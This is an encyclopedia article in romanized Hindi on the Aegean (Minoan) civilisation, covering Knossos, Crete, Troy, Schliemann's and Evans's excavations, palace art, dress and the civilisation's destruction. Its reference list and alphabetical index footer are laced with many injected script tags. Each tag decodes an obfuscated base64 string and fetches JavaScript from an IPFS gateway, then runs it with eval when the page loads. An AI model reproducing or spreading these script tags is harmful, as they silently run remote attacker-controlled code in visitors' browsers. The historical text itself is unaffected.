ईजियाई सभ्यता

eejiyaee sabhyata jo sabhyata 12 vian sadi ee.poo. se pahale doriyaee grikoan ke gris par akraman ke poorv krit aur nikatavarti dvipoan, gris ki sagaravarti bhoomi, usake mikini keandriy praantoan tatha itihasaprasiddh tray mean vikasit huee aur phaili, use puravidoan ne 'eejiyaee sabhyata' nam diya hai. puratatvik anusandhanoan aur khudaiyoan se krit, mikini aur laghueshiya ke tray nagar mean jin khandaharoan ke darshan hue haian ve misri, sumeri aur saiandhav sabhyata ke samakalin mane jate haian. vahaan ki sabhyata unhian sabhyataoan ki bhaanti kaansyayugin thi, lauhayug ki poorvavarti. in sabhi sthanoan mean prasadoan aur bhavanoan ke khandahar mile haian. kritiy sabhyata ka prachinatam keandr aur us rajy ki rajadhani gris ke dakshin ke us dvip ke uttari tat par basa knosas tha. knosas ke rajamahal ke bhagnavashesh se pragat hai ki usamean samriddhi ka nivas tha aur usamean bhavy bhittichitroan se alankrit b de b de hal aur oopari manjiloan mean jane ke lie chakkaradar sopanamarg (jine) the. snanagaroan aur any kamaroan mean nal lage the jinamean nirantar jal pravahit hota rahata tha. yah sabhyata apane minos upadhidhari rajaoan ke nam se 'minoee' ya mikini nagar se sanbandhit hone ke karan mikini bhi kahalati hai.

eejiyaee sabhyata ka aranbh ee.poo. tritiy sahasrabdi ke aranbh se sanbhavat: kuchh poorv hi ho chuka tha aur usaka aant ee. poo. dvitiy sahasrabdi ke madhy ke lagabhag hua. vaise to us sabhyata ka adhar sthaniy prastarayugin sabhyata hai, par puravidoan ka anuman hai ki usake nirmataoan ka rakt aur bhasha ka sanbandh ek or to pashchimi baskoan se tha, doosari or barbaroan aur prachin misriyoan se. unake misriyoan sarikhe kativasan tatha shesh bhag ki nagnata se pan ditoan ka anuman hai ki ve sanbhavat: misr se hi jakar krit dvip mean bas ge the. chitraksharoan mean likhe bhraant misri navik ke vrittaant se bhi is anuman ki aanshik pushti hoti hai. krit ke un prachin nivasiyoan ka uttar ki yooropiy shvet jatiyoan se kisi prakar ka raktasanbandh parilakshit nahian hota. pahale eejiyaiyoan ne shuddh dhatu, taanbe, adi ka upayog kiya, phir mishrit dhatu kaanse ka, jo taanbe aur tin ke mishran se banata tha. yah tin bharat se jata tha jahaan usake sanskrit nam 'bang' se bangal prasiddh hua. vahian se yah mishrit kaansa babul aur misr bhi gaya tha. eejiyaee sabhyata mean lipi ka bhi prayog hota tha par bharatiy saiandhav lipi ki hi bhaanti vah bhi abhi tak padhi nahian ja saki hai. vah padh li jae to us sabhyata ka aur bhi gahara rahasy khule.

is sabhyata ke prakashan ka shrey puratatvik vijnan ke janak shliman aur sar arthar eevaans ko hai. shliman ne homar ke mahakavy 'eeliyad' mean varnit tray ko khod nikala aur usake bad eevaans ne knosas ko khodakar minos ke rajamahaloan ka uddhar kiya. sar arthar ne eejiyaee sabhyata ko nau staroan mean vibhajit kiya hai--prachin minoee yug, madhy minoee yug, uttar minoee yug. phir unamean se pratyek ke apane apane tin tin-pratham, dvitiy aur tritiy -yug haian. misri sabhyata ke staroan se milan karake is sabhyata ke yugoan ki unase samasamayikata aur bhi pusht kar li gee hai. lagata hai, 1400 ee. poo. ke lagabhag is mahanh‌ aur samriddh nagarik sabhyata ka aant hua jab aishiyaee grikoan ke bhishan akramanoan aur bhoochal ne milakar use mita diya.

prachin aur madhy minoee yugoan mean dhatuoan ka upayog prabhoot matra mean hua. kaanse aur taanbe ki hi katarean aur talavarean banati thian. jivan ooanche star ka tha aur bartan banane ke lie mitti ki jagah dhatuean kam mean laee jane lagi thian. sone aur chaandi ke bartan bhi khudaiyoan mean mile haian. mitti ke bartan banate avashy the, parantu unaki kaya adhikatar dhatu ke bartanoan ki nakal mean hi siraji jati thi. mitti ke bartanoan ki kala svayan ooanche darje ki thi. eejiyaee dvipoan mean krit ne sabase pahale bhaandoan ko chitrit karana shuroo kiya. doosari vishisht pragati minoee yug ke pratham charan mean huee jisamean vibhinn prakar ke bhaand-bhaande banane lage. surahiyaan toantidar ya choanchanuma banane lagian, phir unamean atyant akarshak damakham die jane lage. phir to agale prachin yug mean ghumavadar bhaan doan ki badh si a gee.

yahi yug tray nagar ki doosari basti ka tha, dvitiy tray ka. shliman ne chhah chhah tray ek ke niche ek laghueshiya mean khod nikale haian. prachin minoee sabhyata ke tritiy charan ke samanaantar praman tray ki khudaiyoan mean mile haian. vahaan bhi bahumooly dhatuoan ki bani vastuean-sone ki pin aur janjirean, sone chaandi ke bartan mile haian jisase unhean puravidoan ne 'priyam ka khajana' nam uchit hi diya hai. vahaan ke bartanoan mean pradhan kale rang ke aur ulookashirsh haian. isi prakar krit aur tray ke niche ke dvipoan mean bhi usi sabhyata ke bikhare hue chihn, kalatmak bartan adi mile haian. vahaan bhi shavasamadhiyoan ki shaili pradhan sabhyata ke anuroop hai. kriti aur in dvipoan ki shavasamadhiyoan mean daphanaee moortiyoan ki shaili pray: vahi hai jo misri kabroan ki moortiyoan ki hai.

prachin minoee yug ke aantim charan ki visheshata patthar ki korakar banaee vastuoan mean hai. patthar mean kadhe hue phool aur samudri jivoan ke abhipray tab ki kala mean vishesh prayukt hue. inake nirman mean pradhanat: sangamaramar ya choona mitti ka upayog hua hai. jahaan tak dhatu ke bartanoan ka prashn hai, lagata hai, tray ke sunaroan ne babuli dhatukarm ki nakal ki thi. vahi dijainean bad mean patthar aur mitti ke bartanoan par banian. misr ne bhi isi shaili ka kalaantar mean upayog kiya. bartanoan ka itana akarshak nirman us prachin kal ke do avishkaroan ka vismayakarak parinam tha. bhaand kala ke itihas mean nishchay un avishkaroan ka asadharan mahatv hai. ye the kumhar ke avaan (bhatthi) aur chakke ya pahie ke avishkar. sanbhavat: isaka avishkar poorab mean hua, elam mean, ya bharat ki siandhu ghati mean, ya donoan mean, shayad 4000 ee.poo. se bhi pahale. krit aur tray ke jivan mean sanbhavat:unaka ayat prachin minoee yug ke aantim charan mean hua. chitralipi se kuchh milati likhavat krit ke thikaroan par khudi huee hai. gili mitti mean likhavat pray: vaise hi sanpann huee hai jaise babul aur sumer mean hua karati thi, parantu unake taur tevar misri likhavat se milate julate haian. abhi tak yah likhavat padhi nahian ja saki. vastu ka aranbh ho gaya tha. knosas ke mahaloan ke poorvavarti patthar ke makanoan ke khandahar usi yug ke haian. minos rajaoan ka rajy-minoee rajaoan ki rajadhani krit ke uttari tat par base knosas mean thi. madhy minoee yug mean minos rajaoan ne pray: samooche krit aur nikatavarti dvipoan par adhikar kar liya. phaistas aur agiya triyada ke mahal bhi knosas ke rajaoan ke hi banavae mane jate haian. lokaparanparaoan aur anushrutiyoan mean phaistas ka varnan upanivesh ke roop mean hua hai.

knosas ke rajaprasad ka nirman navaprastarayugin bhagnavasheshoan ke oopar hua hai. knosas ke prasadoan ke bhagnavashesh krit ke uttari tat par kaandiya ke adhunik nagar ke nikat hi haian. vahaan ke pashchimi praveshadvar ki vishalata aur phaistas ke gailarinuma rangapraangan, jo patthar ke bane haian, vastukala ki pragati mean us prachin kal mean ek adarsh prastut karate haian. knosas ke uttari aur phaistas ke dakshini rajamahal pray: ek hi samay bane the. krit ke dakshini tat par phaistas ke mahaloan ke khandahar haian aur unake pas hi agiya triyada ke rajaprasad ke bhagnavashesh bhi haian, yadyapi ve bane uttar-minoee-yug mean the.

lagata hai, knosas ke mahal yugoan tak banate aur avashyakatanusar badalate chale ae the. rajaoan ki badhati huee samriddhi, kala ki pragati aur suruchi ke parishkar ke anukool samay samay par unamean parivartan hote ge. is prakar ke parivartan kuchh madhyayug mean bhi hue the, parantu pichhale yug mean to in mahaloan ke roop hi badal dale ge. jis roop mean unake khandahar aj puravidoan ke prayatnoan se prastut hue haian unase pragat hai ki in mahaloan mean asadharan b de b de hal the, ghumavadar sopanamarg the, dhalan par utaranevale lanbe kaksh the, aur bahari prasad se sanlagn bhavan the-aur phir door, kriti sabhyata ka nagarik vistar pashchim ke parvatoan ke oopar tak chala gaya tha. pradhan rajaprasad apani uchchastariy jivanasuvidhaoan ke sath atyant adhunik lagata hai. un suvidhaoan ka ek pradhan aang unaki gande jal ki naliyaan haian. misri pharaoonoan aur periklizakalin etheans ke koee makan usake jo d ke n the. haan, yadi prasadanirman ki shalinata mean isaka koee parabhav kar sakata hai to ve nineve ke asurabanipal ke sachitr prasad haian. phir bhi donoan mean kaphi aantar hai. jahaan asurabanipal ke mahal soone haian aur thande tatha ja doan ke lie asuvidhajanak lagate haian vahaan minoee rajaprasad garam aur aramadeh haian aur unaki chitrit divaroan se lagata hai ki unamean bharapoora jivan laharean marata tha. unake bhittichitroan se pragat hai ki knosas ke mahaloan ke bhitar raja ka darabar bhara rahata tha, aur usamean nar aur nari paricharakoan ki sankhya b di thi. raja aur usake darabari sabhi prasann aur jivan ko nirbadh bhogate hue chitrit hue haian. chitroan ki akritiyaan anek bar kathor aur nishchhand roodhigat si ho gee haian, kuchh bhoandi bhi haian, parantu unaki rekhaean b di sabal haian. unake khake nishchay asadharan kalavantoan ne khianche hoange. bhittichitroan se pramanit hai ki darabar ke amodapramodoan mean nariyaan usi svachchhandata se bhag leti thian jaise purush. nar aur nari donoan saman adhikar se samajik jivan mean bhag lete the, aur pratit to aisa hota hai ki rajamahal aur samaj ke jivan mean nari ka hi prabhutv adhik tha. isamean sandeh nahian ki us prachin jagath‌ mean krit ki sabhyata ne jitane adhikar nari ko die, purush ka samavarti jo sthan use diya vah tab ke jivan mean kahian aur sanbhav n tha.

bhittichitroan mean nari ki tvacha shvet aur purush ki raktim chitrit huee hai, pray: misri riti ke anusar. darabari dadhi mooanchh mu dakar chehare saph rakhate the aur kesh lanbe, jinhean ve nariyoan ki hi bhaanti veniyoan mean saja lete the. anek bar to saan doan ki l daee dekhate l dakoan mean l dakiyoan ka pahachanana kathin ho jata hai aur yadi unaki tvacha roodhigat rangoan se spasht n kar di gee hoti to donoan ka darshan nitaant saman hota. nariyoan mean parada n tha, yah to us kal ke chitrit drishyoan se anumit ho hi jata hai, vaise bhi khi dakiyoan mean bina ghooanghat ke baithi nariyoan ki akritiyoan se unaki is anavaguanthit sthiti ka prakash hota hai. nariyaan gardan aur bahuoan ko niravritt rakhati thian, haroan se dhak leti thian, vastr kati par kas leti thian, aur niche apane ghaghare ki choonatean ki choonatean akarshak roop se pairoan par gira leti thian. pichhale yug ke chitroan mean nariyaan, kam se kam rajamahal ki, mastak par kirit bhi pahane hue haian. purushoan ka vesh unase bhinn tha, atyant sadharan. ve kati se niche jaanghiya pahanate the, anek bar misri chitroan ke purushoan ki ghutanoan tak pahuanchanevali tahamat ki tarah, kiantu rangoan ke prayog se chamatkrit. misri purushoan ki bhaanti unake sharir ka oordhvardh nanga rahata tha, aur jab tab ve konadar topi pahanate the. purushoan ke kesh venibaddh ya khule hi kamar tak latakate the ya jab tab ve unamean gaanth laga sir ke oopar baandh lete the. knosas ke purush bhi pichhale yug ke khattiyoan ki bhaanti pairoan mean ooanchi saiandil ya boot pahanate the. minoee sabhyata ki naranariyoan ka rangaroop pray: aj ke italivaloan ka sa tha. unake netr aur kesh kale the, nariyoan ka rang sanbhavat: dhoomilashvet aur purushoan ka chatakh tamr.

jivan sukhi, amodamay aur prasann tha. log nar-pashu-yuddh dekhate aur unamean bhag lete the. parantu unake pas sanbhavat: raksha ke sadhan kam the, kam se kam kavach khudaiyoan mean nahian mila hai. talavar ka upayog ve nishchay karate the.

amod ke jivan mean svabhavik hi dharm ki kathor roodhiyaan samaj ko atankit nahian kar patian aur minoee samaj mean bhi unaka abhav tha. parantu unake devata the, yadyapi unako spashtat: pahachan pana kathin hai. phir bhi yah spashtat: kaha ja sakata hai ki logoan ka vishvas vrikshoan, chattanoan, nadiyoan adi se sanbandhit devataoan mean tha aur kam se kam ek vishisht sarpadevi ki matripooja ve avashy karate the. is prakar ki matridevi ki akritiyaan jo sarp dharan karati haian vahaan chitrit mili haian.

mahaloan ke bhittichitroan se to pragat hi hai ki chitrakala vishesh roop se kalavantoan dvara vikasit huee thi, aur unamean rangoan ka pradhany ek takanik ka abhas bhi deta hai. patthar ko korakar moorti banane athava usaki prishthabhoomi se ubharakar drishy likhane ki kala ne ni:sandeh eshiyaee deshoan ke anupat mean prashray nahian paya tha, aur unaki upalabdhi atyant nyoon sankhya mean huee hai. agiya triyada se mile kuchh utkirn drishy nishchay aise haian jinaki prashansa kie bina aj ka kalaparakhi bhi n rah sakega.

aantim yug-pichhale yugoan mean eejiyaee sabhyata ke nirmataoan ne rajanitik drishti se anek saphal prayatn kie. asapas ke samudroan aur dvipoan par unhoanne apana samrajy phailaya aur pramanat: unaka vah samrajy gris aur laghueshiya (anatoliya) par bhi phaila jahaan unhoanne mikini, tray adi nagaroan ke chaturdik apane upanivesh banae. parantu sanbhavat: samrajyanirman unake boote ka n tha aur unhoanne us prayatn mean apane apako hi nasht kar diya. yah sahi hai ki gris ke sthal bhag par unaka adhikar ho jane se unaki ay badh gee par upaniveshoan ki sanbhal svayan b de shram ka kary tha, jisaka nirvah kar sakana unake lie sanbhav n hua. parinamat: jab bahar se akramanakari ae tab amodapriy minoee nagarik unaki chotoan ka saphal uttar n de sake aur unhean atmasamarpan karana p da. parantu vijetaoan ko yah nishkriy atmasamarpan svikar n tha aur unhoanne use nasht karake hi dam liya.

yah kahana kathin hai ki ye akramanakari kaun the. is sanbandh mean vidvanoan ke anek mat haian. kuchh unhean mool grik manate haian, kuchh eshiyaee, kuchh doriyaee , kuchh khatti, kuchh anatoliya ke nivasi. panratu pray: sabhi, kam se kam aanshik roop mean, yah manate haian ki akraanta ary jati ke the aur sanbhavat: uttar se ae the jo apane minoee shatruoan ko nasht kar unaki hi bastiyoan mean bas ge. nash ke kary mean ve pradhanat: pravin the kyoanki unhoanne ek eetan doosari eetan par n rahane di. akraanta dharavath‌ ek ke bad ek ate ge aur grik nagaroan ko dhvast karate ge. phir unhoanne sagar laangh krit ke samriddh rajamahaloan ko loota jinake aishvary ke kuchh praman unhoanne unake sthalavarti upaniveshoan mean hi pa lie the. aur inhoanne vahaan ke akarshak janapriy mudit jivan ka aant kar dala. knosas aur faistas ke mahaloan mean sadiyoan se samriddhi sanchit hoti aee thi, ruchi ki vastuean ekatr hoti aee thian, un sabako, adhar aur adhey ke sath, un barbar akraantaoan ne agni ki lapatoan mean dal bhasmasath‌ kar diya. sahasrabdiyoan krit ki vah eejiyaee sabhyata samadhisth p di rahi, jab tak 19vian sadi mean arthar eevaans ne khodakar use jaga n diya.

homarik kavy-homar ne apane eeliyad mean jis tray ke yuddh ki katha amar kar di hai vah tray usi minoee eejiyaee sabhyata ka ek upanivesh tha, raja priyamh‌ ki rajadhani, jisake rajakumar peris ne eejiyaee sabhyata ko nasht karanevale ekiyaee viroan mean pradhan agamemnan ke bhaee menelau ki bharya helen ko har liya tha. homar ki us katha ka laghueshiya ke us eejiyaee upanivesh tray ki nagari ke vidhvans se sidha sanbandh hai aur usaki or sanket kar dena yahaan anuchit n hoga. us tray nagari ko shliman ne khod nikala hai, ek ke oopar ek basi tray ki chhah nagariyoan ke bhagnavasheshoan ko, jinamean se kam se kam sabase nichali do homar ki katha ki tray nagari se poorv ke haian.^[1]

mahakavi homar svayan sanbhavat: ee.poo. 9vian sadi mean hua tha. usake samay mean anant ekiyaee viragathaean jatiyoan aur janoan mean prachalit thian jinako ekatr kar ekaroopiy shrriankhala mean apane madhur gey bhavasrot ke sahare homar ne baandha. ye gathaean kam se kam tin char sau varsh purani to usake samay tak ho hi chuki thian. inhian gathaoan mean sanbhavat: ekiyaee jatiyoan ka gris ke eejiyaee upanivashoan aur svayan krit ke nagaroan par akraman varnit tha jisaka labh homar ko hua. kuchh ashchary nahian jo ekiyaee jatiyoan ne hi eejiyaee sabhyata ka vinash kiya ho. parantu ekiyaee jatiyoan ke bad bhi lagatar uttar se anevali ary grik jatiyoan ke akraman gris par hote rahe. un jatiyoan me vishisht doriyaee jati thi jisane sanbhavat: 12vian sadi ee.poo. mean samooche gris ko lohayudhoan dvara jit liya aur sabhyata ki us prachin bhoomi par, prachin nagaroan ke bhagnavasheshoan ke asapas, aur usi prakar kvaanri bhoomi par bhi, unake nagar base jo prachin gris ke nagararajyoan ke roop mean prasiddh hue aur jinhoanne perikliz aur sukarat ke sansar ka nirman kiya.^[2]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 24 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ san.gran. -ech.ar.hal : di esheant histri aauvh‌ d niyar eest, methuen aiand ko., limited, landan, 1950; bh.sh. upadhyay : di eansheant varld, haidarabad, 1954; ensaiklopidiya britanika, khand 1, 1956; shlimaans ekskaiveshans, 1891; ech. ar.hal : di olh

varnamala kramanusar lekh khoj

a <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>a <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> i <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ee <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>au <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> k <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v 